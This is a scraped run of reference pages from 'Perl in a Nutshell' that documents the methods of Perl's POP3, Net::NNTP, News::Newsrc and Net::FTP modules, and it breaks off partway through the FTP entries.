Perl in a NutshellSearch this book

Connect

 $pop->Connect([host, port])

Starts the connection to the POP3 server. Optionally takes the POP3 host and port number as arguments.

Previous: Reference: Close | Perl in a Nutshell | Next: Reference: Count
Reference: Close | Book Index | Reference: Count


Reference: Count

Perl in a Nutshell

Perl in a NutshellSearch this book

Count

 $pop->Count([num])

With an argument, sets the number of remote messages to num. Otherwise returns the number of messages. Set during Login.

Previous: Reference: Connect | Perl in a Nutshell | Next: Reference: Delete
Reference: Connect | Book Index | Reference: Delete


Reference: Delete

Perl in a Nutshell

Perl in a NutshellSearch this book

Delete

 $pop->Delete(msgnum)

Marks the specified message number for deletion. The message isn't actually deleted until you QUIT (i.e., when you Close the connection); before then, it can be "undeleted" with Reset.

Previous: Reference: Count | Perl in a Nutshell | Next: Reference: Head
Reference: Count | Book Index | Reference: Head


Reference: Head

Perl in a Nutshell

Perl in a NutshellSearch this book

Head

 $pop->Head(msgnum)

Gets the headers of the specified message.

Previous: Reference: Delete | Perl in a Nutshell | Next: Reference: HeadAndBody
Reference: Delete | Book Index | Reference: HeadAndBody


Reference: HeadAndBody

Perl in a Nutshell

Perl in a NutshellSearch this book

HeadAndBody

 $pop->HeadAndBody(msgnum)

Gets both headers and body of the specified message.

Previous: Reference: Head | Perl in a Nutshell | Next: Reference: Host
Reference: Head | Book Index | Reference: Host


Reference: Host

Perl in a Nutshell

Perl in a NutshellSearch this book

Host

 $pop->Host(["host"])

With an argument, sets the current host. Otherwise, returns the host.

Previous: Reference: HeadAndBody | Perl in a Nutshell | Next: Reference: Last
Reference: HeadAndBody | Book Index | Reference: Last


Reference: Last

Perl in a Nutshell

Perl in a NutshellSearch this book

Last

 $pop->Last()

Returns the number of the message last retrieved from the server.

Previous: Reference: Host | Perl in a Nutshell | Next: Reference: List
Reference: Host | Book Index | Reference: List


Reference: List

Perl in a Nutshell

Perl in a NutshellSearch this book

List

 $pop->List()

Returns a list containing the size of each message.

Previous: Reference: Last | Perl in a Nutshell | Next: Reference: Login
Reference: Last | Book Index | Reference: Login


Reference: Login

Perl in a Nutshell

Perl in a NutshellSearch this book

Login

 $pop->Login()

Attempts to log in to the server connection.

Previous: Reference: List | Perl in a Nutshell | Next: Reference: Message
Reference: List | Book Index | Reference: Message


Reference: Message

Perl in a Nutshell

Perl in a NutshellSearch this book

Message

 $pop->Message()

Returns the last status message received from the server.

Previous: Reference: Login | Perl in a Nutshell | Next: Reference: Pass
Reference: Login | Book Index | Reference: Pass


Reference: Pass

Perl in a Nutshell

Perl in a NutshellSearch this book

Pass

 $pop->Pass(["pass"])

With an argument, sets the current password. Otherwise, returns the current password.

Previous: Reference: Message | Perl in a Nutshell | Next: Reference: POPStat
Reference: Message | Book Index | Reference: POPStat


Reference: POPStat

Perl in a Nutshell

Perl in a NutshellSearch this book

POPStat

 $pop->POPStat()

Returns the results of a POP3 STAT command and sets the size of the mailbox.

Previous: Reference: Pass | Perl in a Nutshell | Next: Reference: Port
Reference: Pass | Book Index | Reference: Port


Reference: Port

Perl in a Nutshell

Perl in a NutshellSearch this book

Port

 $pop->Port([port])

With an argument, sets the current port number. Otherwise, returns the port number.

Previous: Reference: POPStat | Perl in a Nutshell | Next: Reference: Reset
Reference: POPStat | Book Index | Reference: Reset


Reference: Reset

Perl in a Nutshell

Perl in a NutshellSearch this book

Reset

 $pop->Reset()

Tells the server to unmark any message marked for deletion.

Previous: Reference: Port | Perl in a Nutshell | Next: Reference: Retrieve
Reference: Port | Book Index | Reference: Retrieve


Reference: Retrieve

Perl in a Nutshell

Perl in a NutshellSearch this book

Retrieve

 $pop->Retrieve(msgnum)

Same as HeadAndBody.

Previous: Reference: Reset | Perl in a Nutshell | Next: Reference: Size
Reference: Reset | Book Index | Reference: Size


Reference: Size

Perl in a Nutshell

Perl in a NutshellSearch this book

Size

 $pop->Size([num])

With an argument, sets the size of the remote mailbox to num. Otherwise returns the size of the mailbox. Set by POPStat.

Previous: Reference: Retrieve | Perl in a Nutshell | Next: Reference: Socket
Reference: Retrieve | Book Index | Reference: Socket


Reference: Socket

Perl in a Nutshell

Perl in a NutshellSearch this book

Socket

 $pop->Socket()

Returns the socket's file descriptor.

Previous: Reference: Size | Perl in a Nutshell | Next: Reference: State
Reference: Size | Book Index | Reference: State


Reference: State

Perl in a Nutshell

Perl in a NutshellSearch this book

State

 $pop->State()

Returns the internal state of the connection. Possible return values are DEAD, AUTHORIZATION, or TRANSACTION.

Previous: Reference: Socket | Perl in a Nutshell | Next: Reference: User
Reference: Socket | Book Index | Reference: User


Reference: User

Perl in a Nutshell

Perl in a NutshellSearch this book

User

 $pop->User(["user"])

With an argument, sets the current username. Otherwise, returns the current name.

Previous: Reference: State | Perl in a Nutshell | Next: 14. Email Connectivity
Reference: State | Book Index | 14. Email Connectivity


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $nntp = Net::NNTP->new([host[, options]])

Constructor. Creates a new Net::NNTP object. Arguments are:

host

The name of the remote host to which an NNTP connection is required. If not specified, the constructor checks the environment variables NNTPSERVER and NEWSHOST, in that order, then Net::Config. Defaults to news if nothing is found.

options

Options, passed as key/value pairs. Possible options are:

Timeout

Maximum time, in seconds, to wait for a response from the NNTP server. Default is 120 seconds. A value of 0 causes all I/O operations to block.

Debug

Enables printing of debugging information to STDERR.

Previous: 15.2 Net::NNTP | Perl in a Nutshell | Next: Reference: active
15.2 Net::NNTP | Book Index | Reference: active


Reference: active

Perl in a Nutshell

Perl in a NutshellSearch this book

active

 $nntp->active([pattern])

Similar to list, but only returns active groups that match the pattern. (An extension.)

Previous: Reference: new | Perl in a Nutshell | Next: Reference: active_times
Reference: new | Book Index | Reference: active_times


Reference: active_times

Perl in a Nutshell

Perl in a NutshellSearch this book

active_times

 $nntp->active_times()

Returns a reference to a hash where the keys are the group names and the values are references to arrays containing the time the group was created and an identifier, possibly an email address, for the creator. (An extension.)

Previous: Reference: active | Perl in a Nutshell | Next: Reference: article
Reference: active | Book Index | Reference: article


Reference: article

Perl in a Nutshell

Perl in a NutshellSearch this book

article

 $nntp->article([msgid|msgnum])

Retrieves the header, a blank line, then the body (text) of the article, specified as either a message ID or a message number. With no arguments, returns the current article in the current newsgroup as a reference to an array containing the article.

Previous: Reference: active_times | Perl in a Nutshell | Next: Reference: authinfo
Reference: active_times | Book Index | Reference: authinfo


Reference: authinfo

Perl in a Nutshell

Perl in a NutshellSearch this book

authinfo

 $nntp->authinfo(user, pass)

Authenticates the user to the server, passing the user's username and password.

Previous: Reference: article | Perl in a Nutshell | Next: Reference: body
Reference: article | Book Index | Reference: body


Reference: body

Perl in a Nutshell

Perl in a NutshellSearch this book

body

 $nntp->body([msgid|msgnum])

Retrieves the body (text) of the article specified by either a message id or a message number. Takes the same arguments as article. Returns a reference to an array containing the body of the article.

Previous: Reference: authinfo | Perl in a Nutshell | Next: Reference: date
Reference: authinfo | Book Index | Reference: date


Reference: date

Perl in a Nutshell

Perl in a NutshellSearch this book

date

 $nntp->date()

Returns the date on the remote server, in Unix time format (seconds since 1970).

Previous: Reference: body | Perl in a Nutshell | Next: Reference: distributions
Reference: body | Book Index | Reference: distributions


Reference: distributions

Perl in a Nutshell

Perl in a NutshellSearch this book

distributions

 $nntp->distributions()

Returns a reference to a hash where the keys are the valid distribution names and the values are the distribution descriptions. (An extension.)

Previous: Reference: date | Perl in a Nutshell | Next: Reference: group
Reference: date | Book Index | Reference: group


Reference: group

Perl in a Nutshell

Perl in a NutshellSearch this book

group

 $nntp->group([group])

Sets and/or gets the current group. With no argument, returns information about the current group, otherwise sets the current group to group.

In a scalar context, group returns the group name. In an array context, it returns a list containing the number of articles in the group, the first article number, the last article number, and the group name.

Previous: Reference: distributions | Perl in a Nutshell | Next: Reference: head
Reference: distributions | Book Index | Reference: head


Reference: head

Perl in a Nutshell

Perl in a NutshellSearch this book

head

 $nntp->head([msgid|msgnum])

Retrieves the header of the article specified by msgid or msgnum. Takes the same arguments as article and returns a reference to an array containing the article's header.

Previous: Reference: group | Perl in a Nutshell | Next: Reference: ihave
Reference: group | Book Index | Reference: ihave


Reference: ihave

Perl in a Nutshell

Perl in a NutshellSearch this book

ihave

 $nntp->ihave(msgid[, message])

Informs the server that the client has an article whose ID is msgid. The optional argument message can be either an array of lines or a reference to an array. If message is specified, and the server wants a copy, it is sent, returning true on successful completion.

If message is not specified, then the message must be sent using the Net::Cmd datasend and dataend methods.

Previous: Reference: head | Perl in a Nutshell | Next: Reference: last
Reference: head | Book Index | Reference: last


Reference: last

Perl in a Nutshell

Perl in a NutshellSearch this book

last

 $nntp->last()

Sets the current article pointer to the previous article in the current newsgroup. Returns the article's message ID.

Previous: Reference: ihave | Perl in a Nutshell | Next: Reference: list
Reference: ihave | Book Index | Reference: list


Reference: list

Perl in a Nutshell

Perl in a NutshellSearch this book

list

 $nntp->list()

Returns information about all active newsgroups. The result is a reference to a hash where the key is a newsgroup name and each value is a reference to an array. The elements in the array are the first article number in the group, the last article number in the group, and any information flags.

Previous: Reference: last | Perl in a Nutshell | Next: Reference: listgroup
Reference: last | Book Index | Reference: listgroup


Reference: listgroup

Perl in a Nutshell

Perl in a NutshellSearch this book

listgroup

 $nntp->listgroup([group])

Returns a reference to a list of all active messages in newsgroup group, or the current newsgroup if group is not specified. (An extension.)

Previous: Reference: list | Perl in a Nutshell | Next: Reference: newgroups
Reference: list | Book Index | Reference: newgroups


Reference: newgroups

Perl in a Nutshell

Perl in a NutshellSearch this book

newgroups

 $nntp->newgroups(since[, distributions])

Like list, but returns groups created after a certain time and optionally in one of a set of distribution areas. Arguments are:

since

Time value; only groups created after this time should be returned.

distributions

Optional distribution pattern or reference to a list of distribution patterns. If present, only groups matching a specified distribution area should be returned.

Previous: Reference: listgroup | Perl in a Nutshell | Next: Reference: newnews
Reference: listgroup | Book Index | Reference: newnews


Reference: newnews

Perl in a Nutshell

Perl in a NutshellSearch this book

newnews

 $nntp->newnews(since[, groups[, distributions]])

Returns a reference to a list containing the message-ids of all news posted after since, that are in newsgroups matching groups, with a distribution that matches distributions. Arguments are:

since

Time value; only groups created after this time should be returned.

groups

Optional group pattern or reference to a list of group patterns indicating which groups should be checked for new messages.

distributions

Optional distribution pattern or reference to a list of distribution patterns. If present, only groups matching a specified distribution area should be returned.

Previous: Reference: newgroups | Perl in a Nutshell | Next: Reference: newsgroups
Reference: newgroups | Book Index | Reference: newsgroups


Reference: newsgroups

Perl in a Nutshell

Perl in a NutshellSearch this book

newsgroups

 $nntp->newsgroups([pattern])

Returns a reference to a hash where the keys are all newsgroup names that match pattern, or all newsgroups if no pattern is specified, and each value contains the description text for the group. (An extension.)

Previous: Reference: newnews | Perl in a Nutshell | Next: Reference: next
Reference: newnews | Book Index | Reference: next


Reference: next

Perl in a Nutshell

Perl in a NutshellSearch this book

next

 $nntp->next()

Sets the current article pointer to the next article in the current newsgroup. Returns the message ID of the article.

Previous: Reference: newsgroups | Perl in a Nutshell | Next: Reference: nntpstat
Reference: newsgroups | Book Index | Reference: nntpstat


Reference: nntpstat

Perl in a Nutshell

Perl in a NutshellSearch this book

nntpstat

 $nntp->nntpstat([msgid|msgnum])

Similar to article, except that no text is returned. When selecting by message number within a newsgroup, sets the current article pointer without sending text. Selecting by message ID is valid, but doesn't alter the current article pointer and therefore is of little use. Returns the message ID of the current article.

Previous: Reference: next | Perl in a Nutshell | Next: Reference: overview_fmt
Reference: next | Book Index | Reference: overview_fmt


Reference: overview_fmt

Perl in a Nutshell

Perl in a NutshellSearch this book

overview_fmt

 $nntp->overview_fmt()

Returns a reference to an array containing the names of the fields returned by xover. (An extension.)

Previous: Reference: nntpstat | Perl in a Nutshell | Next: Reference: post
Reference: nntpstat | Book Index | Reference: post


Reference: post

Perl in a Nutshell

Perl in a NutshellSearch this book

post

 $nntp->post([message])

Posts a new article to the news server. If message is specified and posting is allowed, then the message is sent. If message is not specified, the message must be sent using the Net::Cmd datasend and dataend methods. message can be either an array of lines or a reference to an array.

Previous: Reference: overview_fmt | Perl in a Nutshell | Next: Reference: postok
Reference: overview_fmt | Book Index | Reference: postok


Reference: postok

Perl in a Nutshell

Perl in a NutshellSearch this book

postok

 $nntp->postok()

Returns true if the server's initial response indicated that it allows posting.

Previous: Reference: post | Perl in a Nutshell | Next: Reference: quit
Reference: post | Book Index | Reference: quit


Reference: quit

Perl in a Nutshell

Perl in a NutshellSearch this book

quit

 $nntp->quit()

Quits the remote server and closes the socket connection.

Previous: Reference: postok | Perl in a Nutshell | Next: Reference: reader
Reference: postok | Book Index | Reference: reader


Reference: reader

Perl in a Nutshell

Perl in a NutshellSearch this book

reader

 $nntp->reader()

Tells the server that you are a reader and not another server; required by some servers. (An extension.)

Previous: Reference: quit | Perl in a Nutshell | Next: Reference: slave
Reference: quit | Book Index | Reference: slave


Reference: slave

Perl in a Nutshell

Perl in a NutshellSearch this book

slave

 $nntp->slave()

Tells the remote server that this is not a user client, but is probably another news server.

Previous: Reference: reader | Perl in a Nutshell | Next: Reference: subscriptions
Reference: reader | Book Index | Reference: subscriptions


Reference: subscriptions

Perl in a Nutshell

Perl in a NutshellSearch this book

subscriptions

 $nntp->subscriptions()

Returns a reference to a default list of newsgroups recommended for new users to subscribe to. (An extension.)

Previous: Reference: slave | Perl in a Nutshell | Next: Reference: xgtitle
Reference: slave | Book Index | Reference: xgtitle


Reference: xgtitle

Perl in a Nutshell

Perl in a NutshellSearch this book

xgtitle

 $nntp->xgtitle(pattern)

Returns a reference to a hash where the keys are all the newsgroup names that match pattern, and each value is the text of the newsgroup's description. (An extension.)

Previous: Reference: subscriptions | Perl in a Nutshell | Next: Reference: xhdr
Reference: subscriptions | Book Index | Reference: xhdr


Reference: xhdr

Perl in a Nutshell

Perl in a NutshellSearch this book

xhdr

 $nntp->xhdr(header, message-spec)

Gets the header field header for all the messages specified in message-spec. Returns a reference to a hash where the keys are the message numbers and each value contains the text of the requested header for that message. (An extension.)

Previous: Reference: xgtitle | Perl in a Nutshell | Next: Reference: xover
Reference: xgtitle | Book Index | Reference: xover


Reference: xover

Perl in a Nutshell

Perl in a NutshellSearch this book

xover

 $nntp->xover(message-spec)

Returns a reference to a hash where the keys are the message numbers and each value contains a reference to an array of the overview fields for that message. (An extension.)

The names of the fields can be obtained by calling overview_fmt.

Previous: Reference: xhdr | Perl in a Nutshell | Next: Reference: xpat
Reference: xhdr | Book Index | Reference: xpat


Reference: xpat

Perl in a Nutshell

Perl in a NutshellSearch this book

xpat

 $nntp->xpat(header, pattern, message-spec)

Like xhdr, but returns only headers where the text of the header matches pattern. (An extension.)

Previous: Reference: xover | Perl in a Nutshell | Next: Reference: xpath
Reference: xover | Book Index | Reference: xpath


Reference: xpath

Perl in a Nutshell

Perl in a NutshellSearch this book

xpath

 $nntp->xpath(message-id)

Returns the path to the file on the server that contains the specified message. (An extension.)

Previous: Reference: xpat | Perl in a Nutshell | Next: Reference: xrover
Reference: xpat | Book Index | Reference: xrover


Reference: xrover

Perl in a Nutshell

Perl in a NutshellSearch this book

xrover

 $nntp->xrover(message-spec)

Returns reference information for the article(s) specified. Returns a reference to a hash where the keys are the message numbers and the values are the References: lines from the articles. (An extension.)

Previous: Reference: xpath | Perl in a Nutshell | Next: 15.2 Net::NNTP
Reference: xpath | Book Index | 15.2 Net::NNTP


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $newsrc = new News::Newsrc

Constructor. Creates a new News::Newsrc object that contains no newsgroups.

Previous: 15.3 The News::Newsrc Module | Perl in a Nutshell | Next: Reference: add_group
15.3 The News::Newsrc Module | Book Index | Reference: add_group


Reference: add_group

Perl in a Nutshell

Perl in a NutshellSearch this book

add_group

 $newsrc->add_group(groupname[, options])

Adds newsgroup to .newsrc, as a subscribed group. Defaults to adding at the end. The arguments are:

groupname

Name of the newsgroup to add.

options

Hash with one entry, indicating where to put the newsgroup. Key is where, and possible values are:

after => group

Put immediately after newsgroup group, or last if group is not there.

alpha

Put in alphabetical order.

before => group

Put immediately before newsgroup group.

first

Put as first newsgroup.

last

Put as last newsgroup.

number => n

Put at position n, where the first position is 0. If position is negative, count from the end of the list backwards n positions.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: del_group
Reference: new | Book Index | Reference: del_group


Reference: del_group

Perl in a Nutshell

Perl in a NutshellSearch this book

del_group

 $newsrc->del_group(groupname)

Removes specified newsgroup groupname from .newsrc.

Previous: Reference: add_group | Perl in a Nutshell | Next: Reference: exists
Reference: add_group | Book Index | Reference: exists


Reference: exists

Perl in a Nutshell

Perl in a NutshellSearch this book

exists

 $newsrc->exists(groupname)

Returns true if newsgroup groupname is in .newsrc.

Previous: Reference: del_group | Perl in a Nutshell | Next: Reference: groups
Reference: del_group | Book Index | Reference: groups


Reference: groups

Perl in a Nutshell

Perl in a NutshellSearch this book

groups

 $newsrc->groups()

Returns list of newsgroups in .newsrc. In scalar context, returns an array reference.

Previous: Reference: exists | Perl in a Nutshell | Next: Reference: load
Reference: exists | Book Index | Reference: load


Reference: load

Perl in a Nutshell

Perl in a NutshellSearch this book

load

 $newsrc->load([filename])

Loads newsgroups in filename into $newsrc, replacing any newsgroups that are already there. Defaults to $HOME/.newsrc.

Previous: Reference: groups | Perl in a Nutshell | Next: Reference: mark
Reference: groups | Book Index | Reference: mark


Reference: mark

Perl in a Nutshell

Perl in a NutshellSearch this book

mark

 $newsrc->mark(groupname, article_number[, options])

Adds an article to the list for a specified newsgroup. Arguments are:

groupname

Newsgroup to add an article to.

article_number

Article number of the article to add.

options

Hash. See description under add_group.

Previous: Reference: load | Perl in a Nutshell | Next: Reference: marked
Reference: load | Book Index | Reference: marked


Reference: marked

Perl in a Nutshell

Perl in a NutshellSearch this book

marked

 $newsrc->marked(groupname, article_number)

Returns true if the newsgroup exists and contains the specified article. Arguments are:

groupname

Group to report on.

article_number

Number of the article to verify.

Previous: Reference: mark | Perl in a Nutshell | Next: Reference: marked_articles
Reference: mark | Book Index | Reference: marked_articles


Reference: marked_articles

Perl in a Nutshell

Perl in a NutshellSearch this book

marked_articles

 $newsrc->marked_articles(groupname)

Returns the list of articles in group groupname. In scalar context, returns an array reference.

Previous: Reference: marked | Perl in a Nutshell | Next: Reference: mark_list
Reference: marked | Book Index | Reference: mark_list


Reference: mark_list

Perl in a Nutshell

Perl in a NutshellSearch this book

mark_list

 $newsrc->mark_list(groupname, \@article_list[, options])

Adds articles to the list for a specified group. Arguments are:

groupname

Group to add articles to.

\@article_list

Reference to list of articles to add.

options

Hash. See description under add_group.

Previous: Reference: marked_articles | Perl in a Nutshell | Next: Reference: mark_range
Reference: marked_articles | Book Index | Reference: mark_range


Reference: mark_range

Perl in a Nutshell

Perl in a NutshellSearch this book

mark_range

 $newsrc->mark_range(groupname, n, m[, options])

Adds articles in the specified range to the list. Arguments are:

groupname

Newsgroup to add articles to.

n

Number of the first article in the range.

m

Number of the last article in the range.

options

Hash. See description under add_group.

Previous: Reference: mark_list | Perl in a Nutshell | Next: Reference: save
Reference: mark_list | Book Index | Reference: save


Reference: save

Perl in a Nutshell

Perl in a NutshellSearch this book

save

 $newsrc->save()

Saves changes to .newsrc file.

Previous: Reference: mark_range | Perl in a Nutshell | Next: Reference: save_as
Reference: mark_range | Book Index | Reference: save_as


Reference: save_as

Perl in a Nutshell

Perl in a NutshellSearch this book

save_as

 $newsrc->save_as(filename)

Saves changes to specified file filename, rather than to .newsrc file.

Previous: Reference: save | Perl in a Nutshell | Next: Reference: sub_groups
Reference: save | Book Index | Reference: sub_groups


Reference: sub_groups

Perl in a Nutshell

Perl in a NutshellSearch this book

sub_groups

 $newsrc->sub_groups()

Returns list of subscribed groups in .newsrc.

Previous: Reference: save_as | Perl in a Nutshell | Next: Reference: subscribe
Reference: save_as | Book Index | Reference: subscribe


Reference: subscribe

Perl in a Nutshell

Perl in a NutshellSearch this book

subscribe

 $newsrc->subscribe(groupname)

Subscribes to newsgroup groupname. If the group is not in .newsrc, it is added; its location may be given in options, as specified for add_group.

Previous: Reference: sub_groups | Perl in a Nutshell | Next: Reference: subscribed
Reference: sub_groups | Book Index | Reference: subscribed


Reference: subscribed

Perl in a Nutshell

Perl in a NutshellSearch this book

subscribed

 $newsrc->subscribed(groupname)

Returns true if the group groupname exists and is subscribed to.

Previous: Reference: subscribe | Perl in a Nutshell | Next: Reference: unmark
Reference: subscribe | Book Index | Reference: unmark


Reference: unmark

Perl in a Nutshell

Perl in a NutshellSearch this book

unmark

 $newsrc->unmark(groupname, article_number[, options])

Removes specified article from the group list. Arguments are:

groupname

Newsgroup to remove articles from.

article_number

Article to remove.

options

Hash. See description under add_group.

Previous: Reference: subscribed | Perl in a Nutshell | Next: Reference: unmarked_articles
Reference: subscribed | Book Index | Reference: unmarked_articles


Reference: unmarked_articles

Perl in a Nutshell

Perl in a NutshellSearch this book

unmarked_articles

 $newsrc->unmarked_articles(groupname, n, m[, options])

Returns the list of articles from n to m, inclusive, that are not in the article list for the newsgroup. Arguments are:

groupname

Group to return articles from.

n

Number of the first article in the range.

m

Number of the last article in the range.

options

Hash. See description under add_group.

Previous: Reference: unmark | Perl in a Nutshell | Next: Reference: unmark_list
Reference: unmark | Book Index | Reference: unmark_list


Reference: unmark_list

Perl in a Nutshell

Perl in a NutshellSearch this book

unmark_list

 $newsrc->unmark_list(groupname, \@article_list[, options)

Removes specified list of articles from the group list. Arguments are:

groupname

Group to remove articles from.

\@article_list

Reference to list of articles to remove.

options

Hash. See description under add_group.

Previous: Reference: unmarked_articles | Perl in a Nutshell | Next: Reference: unmark_range
Reference: unmarked_articles | Book Index | Reference: unmark_range


Reference: unmark_range

Perl in a Nutshell

Perl in a NutshellSearch this book

unmark_range

 $newsrc->unmark_range(groupname, n, m[, options])

Removes a range of articles from n to m from .newsrc. Arguments are:

groupname

Group to remove articles from.

n

Number of the first article in the range.

m

Number of the last article in the range.

options

Hash. See description under add_group.

Previous: Reference: unmark_list | Perl in a Nutshell | Next: Reference: unsub_groups
Reference: unmark_list | Book Index | Reference: unsub_groups


Reference: unsub_groups

Perl in a Nutshell

Perl in a NutshellSearch this book

unsub_groups

 $newsrc->unsub_groups()

Returns list of unsubscribed groups in .newsrc. In scalar context, returns an array reference.

Previous: Reference: unmark_range | Perl in a Nutshell | Next: Reference: unsubscribe
Reference: unmark_range | Book Index | Reference: unsubscribe


Reference: unsubscribe

Perl in a Nutshell

Perl in a NutshellSearch this book

unsubscribe

 $newsrc->unsubscribe(groupname[, options])

Unsubscribes from newsgroup in .newsrc. If the group is not in .newsrc, it is added. Arguments are:

groupname

Group to unsubscribe from.

options

Hash. See description under add_group.

Previous: Reference: unsub_groups | Perl in a Nutshell | Next: 15. Usenet News
Reference: unsub_groups | Book Index | 15. Usenet News


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $ftp = Net::FTP->new(host[, options])

Constructs a new Net::FTP object. Arguments are:

host

The name of the remote host.

options

A hash specifying any of the following information:

Firewall

Name of an FTP firewall.

Port

Port number to use for the FTP connection. Defaults to 21.

Timeout

Timeout value. Defaults to 120 seconds.

Debug

Debug level.

Passive

True or false, specifying whether to perform transfers in passive mode.

Previous: 16.2 Net::FTP | Perl in a Nutshell | Next: Reference: abort
16.2 Net::FTP | Book Index | Reference: abort


Reference: abort

Perl in a Nutshell

Perl in a NutshellSearch this book

abort

 $ftp->abort()

Aborts the current transaction.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: appe
Reference: new | Book Index | Reference: appe


Reference: appe

Perl in a Nutshell

Perl in a NutshellSearch this book

appe

 $ftp->appe(file)

Appends data to the end of the remote file file, which is created if it doesn't exist. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object.

Previous: Reference: abort | Perl in a Nutshell | Next: Reference: append
Reference: abort | Book Index | Reference: append


Reference: append

Perl in a Nutshell

Perl in a NutshellSearch this book

append

 $ftp->append(local[, remote])

Appends the contents of a local file to an existing file on the remote system. Arguments are:

local

Either the name of the file on the local system to transfer, or a filehandle.

remote

The name of the file on the remote system. If local is a filehandle, remote must be specified.

Previous: Reference: appe | Perl in a Nutshell | Next: Reference: authorize
Reference: appe | Book Index | Reference: authorize


Reference: authorize

Perl in a Nutshell

Perl in a NutshellSearch this book

authorize

 $ftp->authorize([auth[, resp]])

Authorizes the user to send data outside the firewall, for use with FTP proxies. If authorization auth and response resp are not specified, authorize uses Net::Netrc to do a lookup.

Called with no arguments by login if the connection is through a firewall.

Previous: Reference: append | Perl in a Nutshell | Next: Reference: ascii
Reference: append | Book Index | Reference: ascii


Reference: ascii

Perl in a Nutshell

Perl in a NutshellSearch this book

ascii

 $ftp->ascii([args])

Changes the type of data transfer to ascii. Like type, without the need to specify the first argument.

Previous: Reference: authorize | Perl in a Nutshell | Next: Reference: binary
Reference: authorize | Book Index | Reference: binary


Reference: binary

Perl in a Nutshell

Perl in a NutshellSearch this book

binary

 $ftp->binary([args])

Changes the type of data transfer to binary. Like type, without the need to specify the first argument.

Previous: Reference: ascii | Perl in a Nutshell | Next: Reference: byte
Reference: ascii | Book Index | Reference: byte


Reference: byte

Perl in a Nutshell

Perl in a NutshellSearch this book

byte

 $ftp->byte([args])

Changes the data transfer type to byte. Not supported. If specified, defaults to binary. Like type, without the need to specify the first argument.

Previous: Reference: binary | Perl in a Nutshell | Next: Reference: cdup
Reference: binary | Book Index | Reference: cdup


Reference: cdup

Perl in a Nutshell

Perl in a NutshellSearch this book

cdup

 $ftp->cdup()

Goes up one level in the directory hierarchy.

Previous: Reference: byte | Perl in a Nutshell | Next: Reference: cwd
Reference: byte | Book Index | Reference: cwd


Reference: cwd

Perl in a Nutshell

Perl in a NutshellSearch this book

cwd

 $ftp->cwd([dir])

Changes the working directory to dir. With no argument, changes the directory to root.

Previous: Reference: cdup | Perl in a Nutshell | Next: Reference: delete
Reference: cdup | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

 $ftp->delete([filename])

Deletes the specified file from the server.

Previous: Reference: cwd | Perl in a Nutshell | Next: Reference: dir
Reference: cwd | Book Index | Reference: dir


Reference: dir

Perl in a Nutshell

Perl in a NutshellSearch this book

dir

 $ftp->dir([dir])

Lists the specified server directory in long format. Returns a reference to the list. dir defaults to the current working directory.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: ebcdic
Reference: delete | Book Index | Reference: ebcdic


Reference: ebcdic

Perl in a Nutshell

Perl in a NutshellSearch this book

ebcdic

 $ftp->ebcdic([args])

Changes the data transfer type to ebcdic. Not supported. If specified, defaults to binary. Like type, without the need to specify the first argument.

Previous: Reference: dir | Perl in a Nutshell | Next: Reference: get
Reference: dir | Book Index | Reference: get


Reference: get

Perl in a Nutshell

Perl in a NutshellSearch this book

get

 $ftp->get(remote[, local])

Retrieves a file from the server. If specified, local is the name to give the file on the local system, otherwise the name stays the same. Arguments are:

remote

Name of the file to retrieve from the remote system.

local

Either the new filename on the local system, or a filehandle. If omitted, the same filename is used.

Previous: Reference: ebcdic | Perl in a Nutshell | Next: Reference: list
Reference: ebcdic | Book Index | Reference: list


Reference: list

Perl in a Nutshell

Perl in a NutshellSearch this book

list

 $ftp->list([dir])

Lists a directory, dir, for display. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object. If directory is omitted, defaults to the current directory.

Previous: Reference: get | Perl in a Nutshell | Next: Reference: login
Reference: get | Book Index | Reference: login


Reference: login

Perl in a Nutshell

Perl in a NutshellSearch this book

login

$ftp->([login[, passwd[, account]]])

Logs user into an FTP server. Arguments are:

login

Login name. If not specified, defaults to anonymous or to the value in $HOME/.netrc.

passwd

Password. If not specified, defaults to the user's email address or to the value in $HOME/.netrc.

account

Additional account information, for files on the FTP server that have special access restrictions.

Previous: Reference: list | Perl in a Nutshell | Next: Reference: ls
Reference: list | Book Index | Reference: ls


Reference: ls

Perl in a Nutshell

Perl in a NutshellSearch this book

ls

 $ftp->ls([dir])

Lists directory, dir, returning a reference to the list. Defaults to the current working directory.

Previous: Reference: login | Perl in a Nutshell | Next: Reference: mdtm
Reference: login | Book Index | Reference: mdtm


Reference: mdtm

Perl in a Nutshell

Perl in a NutshellSearch this book

mdtm

 $ftp->mdtm(file)

Returns the modification time of remote file file.

Previous: Reference: ls | Perl in a Nutshell | Next: Reference: mkdir
Reference: ls | Book Index | Reference: mkdir


Reference: mkdir

Perl in a Nutshell

Perl in a NutshellSearch this book

mkdir

 $ftp->mkdir(dir[, recursive])

Makes a new directory. Arguments are:

dir

The new directory name.

recursive

If true, creates all directories in the path as needed.

Previous: Reference: mdtm | Perl in a Nutshell | Next: Reference: nlst
Reference: mdtm | Book Index | Reference: nlst


Reference: nlst

Perl in a Nutshell

Perl in a NutshellSearch this book

nlst

 $ftp->nlst([dir])

Lists a directory, dir, for further processing. With no argument, defaults to the current directory. If the user calls either pasv or port, returns true or false. Otherwise, returns a reference to a Net::FTP::dataconn object.

Previous: Reference: mkdir | Perl in a Nutshell | Next: Reference: pasv
Reference: mkdir | Book Index | Reference: pasv


Reference: pasv

Perl in a Nutshell

Perl in a NutshellSearch this book

pasv

 $ftp->pasv()

Puts server in passive mode.

Previous: Reference: nlst | Perl in a Nutshell | Next: Reference: pasv_wait
Reference: nlst | Book Index | Reference: pasv_wait


Reference: pasv_wait

Perl in a Nutshell

Perl in a NutshellSearch this book

pasv_wait

 $ftp->pasv_wait(server)

Waits for a transfer to complete between a passive and a non-passive server, where server is the Net::FTP object for the non-passive server.

Previous: Reference: pasv | Perl in a Nutshell | Next: Reference: pasv_xfer
Reference: pasv | Book Index | Reference: pasv_xfer


Reference: pasv_xfer

Perl in a Nutshell

Perl in a NutshellSearch this book

pasv_xfer

 $ftp->pasv_xfer(file1, server, [file2])

